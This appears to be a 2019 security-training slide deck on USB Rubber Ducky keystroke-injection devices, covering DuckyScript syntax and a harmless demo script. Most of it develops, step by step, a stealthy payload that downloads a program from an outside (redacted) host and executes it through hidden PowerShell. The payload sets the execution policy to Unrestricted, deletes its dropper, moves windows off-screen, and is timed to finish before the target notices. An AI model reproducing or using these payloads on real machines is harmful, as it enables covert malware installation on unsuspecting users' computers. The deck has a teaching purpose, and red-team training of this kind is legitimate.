Rubber Duckies – Loud and noisy no more

By Adam Jon Foster

Cysca Training - 2019

Quack Disclaimer

- Rubber Duckies are no joke – Payloads can be dangerous and have the ability to damage your computer.
- Follow the rules of Consent – if you want to test a payload, tell them what it is, never plug it in without permission.

What is a Rubber Ducky

- From the Hak5 Website

  The USB Rubber Ducky is a keystroke injection tool disguised as a generic flash drive. Computers recognize it as a regular keyboard and accept pre-programmed keystroke payloads at over 1000 words per minute.

- Written in a custom language called DuckyScript
- Emulates a USB HID Device, allowing all the same features of a keyboard.

Why is it liked

- Anything you can do with a USB Keyboard, this can do.
- Medium cost (~50 USD)
- Well Documented scripting language with many pre-configured payloads

Anatomy of the Device

- USB Type A Connection
- Physical Dimensions fits into a standard vendor swivel USB chassis
- MicroSD card interface
- 128MB MicroSD Card

How to develop a payload

- The payload is written as a .txt file using DuckySyntax
- We use the duckEncoder to encode the payload into a inject.bin file
- We remove the microSD Card from the Rubber Ducky
- We add the inject.bin file to the root directory of the MicroSD Card
- Remove and place the MicroSD card into the Rubber Ducky

A quick mention – Duckyscript Syntax

- All commands are interpreted as LINES

REM	– Comment a line	| REM Comment
DELAY	– Delays the next command line Done in Milliseconds	| DELAY 200
STRING	- Processes the rest of the line as input text	| STRING hello
GUI	- Windows/Super Key, allows 1 extra	| GUI r
CTRL	- Control Key, allows extra keys	| CTRL ESCAPE
ALT	- Alt Key, allows extra keys	| ALT F4
DOWN	- Down arrow key	| UPARROW
REPEAT	- Repeat the last command X times	| REPEAT 200

Lets look at a basic script

```
DEFAULT_DELAY 2000
REM This is a Comment within Ducky Script
GUI R
REM This is a URL for Sexy Gandalf 10 Hour Version
STRING Chrome.exe https://www.youtube.com/watch?v=rtUl0SXOqbM
ENTER
DELAY 250
STRING f
DELAY 250
F11
```

Break it down to Pseudocode

```
DEFAULT_DELAY 2000          < 2 second delay between all commands
REM This is a Comment within Ducky Script
GUI R                       < Windows Run Dialog
REM This is a URL for Sexy Gandalf 10 Hour Version
STRING Chrome.exe https://www.youtube.com/watch?v=rtUl0SXOqbM
ENTER                       < Open Chrome with that URL
DELAY 250                   < Wait 250 Milliseconds
STRING f                    < YouTube Fullscreen keyboard shortcut
DELAY 250                   < Wait 250 Milliseconds
F11                         < Fullscreen the Browser
```

What does this achieve

- This piece of code would open up a YouTube video in the Chrome browser in fullscreen.
- It has the issues of only working on Chrome, and no other browsers.

How to optimize your DuckyScript

- Run the program on a system that mimics your targets system
- Start writing down the workflow of the script, how can this be improved.
- Look for what would look extremely suspicious and “loud” to a target.
- Look for where time can be shaved off, or where you may be having commands skipped over.

Lets take a new example

- Our aim is to Download and Execute a program (http://REDACTED.net/memeware/poxyMemeware.exe)

- Our Target is using Windows 10, it has not got any modifications to prevent input.
- Both Powershell 2, 3 and cmd are all unrestricted.
- We must make the commands run as silently as possible.
- We have roughly 15 seconds before they will notice.

Lets download and execute using PowerShell

```
GUI r
DELAY 200
STRING notepad.exe
ENTER
STRING (New-Object Net.Webclient).DownloadFile('http://REDACTED.net/memeware/poxyMemeware.exe',"C:\Users\Public\43461.exe"); Start-Process -FilePath "C:\Users\Public\43461.exe"
ENTER
STRING Remove-Item $MyInvocation.InvocationName
CTRL s
DELAY 200
STRING C:\Users\Public\config-43461.ps1
ENTER
ALT F4
```

Lets download and execute using PowerShell P2

```
REM Following on from the last slide
GUI r
DELAY 200
STRING powershell
ENTER
ENTER
STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false
ENTER
STRING powershell.exe -windowstyle hidden -File C:\Users\Public\config-43461.ps1
DELAY 200
ENTER
```

Review: Version 1

- Line Count: 21 Count
- Execution Time: 10 Seconds

- Lots of spawning windows
- All of this is in view of the user
- Lots of spawning processes and file modifications.

- Lets avoid creating files for our scripts, lets try to keep it in the PowerShell window.

Improvements

- Move the spawned window outside of the users view.

```
REM Window Mover
ALT SPACE
STRING m
DELAY 200
DOWNARROW
REPEAT 100
```

- Invoke-WebRequest
  - Only works on PowerShell 3 onwards.

```
Invoke-WebRequest -Uri "http://REDACTED.net/memeware/poxyMemeware.exe" -OutFile
"C:\Users\Public\poxyMemeware.exe";
```

Slimmed down version

```
GUI r
DELAY 200
STRING powershell
ENTER
DELAY 200
ALT SPACE
STRING m
DELAY 200
DOWNARROW
REPEAT 100
```

Slimmed down version P2

```
REM Following on from the last slide
ENTER
STRING Invoke-WebRequest -Uri "http://
REDACTED.net/memeware/poxyMemeware.exe" -OutFile
"C:\Users\Public\poxyMemeware.exe";
ENTER
DELAY 500
STRING Start-Process -FilePath "C:\Users\Public\poxyMemeware.exe"; exit
ENTER
```

Review: Version 2

- Line Count: 16 Count
- Execution Time: 6-7 Seconds

- We drastically reduced the amount of spawning windows in our program.
- We still rely on the user not noticing the spawning window with powershell showing up.

Improvements

- PowerShell Run Arguments
  - Unknown to me - You can execute commands in a spawning PowerShell; you can only fit so many lines inside of a run dialog box sadly.

```
powershell -noexit –command “whoami”
```

- Command Chaining
  - Powershell allows you to chain commands together, so one will complete after another, using the semicolon.

```
Start-Process -FilePath "C:\Users\Public\poxyMemeware.exe"; exit
```

Our final revision

```
REM Requires Powershell 3.0 to function.
DELAY 200
GUI R
DELAY 200
STRING powershell -noexit -command "mode con cols=20 lines=3; Invoke-WebRequest -Uri "http://REDACTED.net/memeware/poxyMemeware.exe" -OutFile "C:\Users\Public\poxyMemeware.exe";Start-Process -FilePath "C:\Users\Public\poxyMemeware.exe"; exit"
ENTER
```

Review

- Line Count: 4 Count
- Execution Time: 4-5 Seconds

- Executed and Ran all criteria we had in our requirements.
- Quickest out of all of ours
- Only 3 Spawning Processes

Finishing Notes

- Rubber duckies are a great attack vector if you spend enough time with them.
- They work well as an initial foothold if you have already done recon.
- Remember to simplify and optimize your code, look deeper for different options if they are available.
- Hack the Planet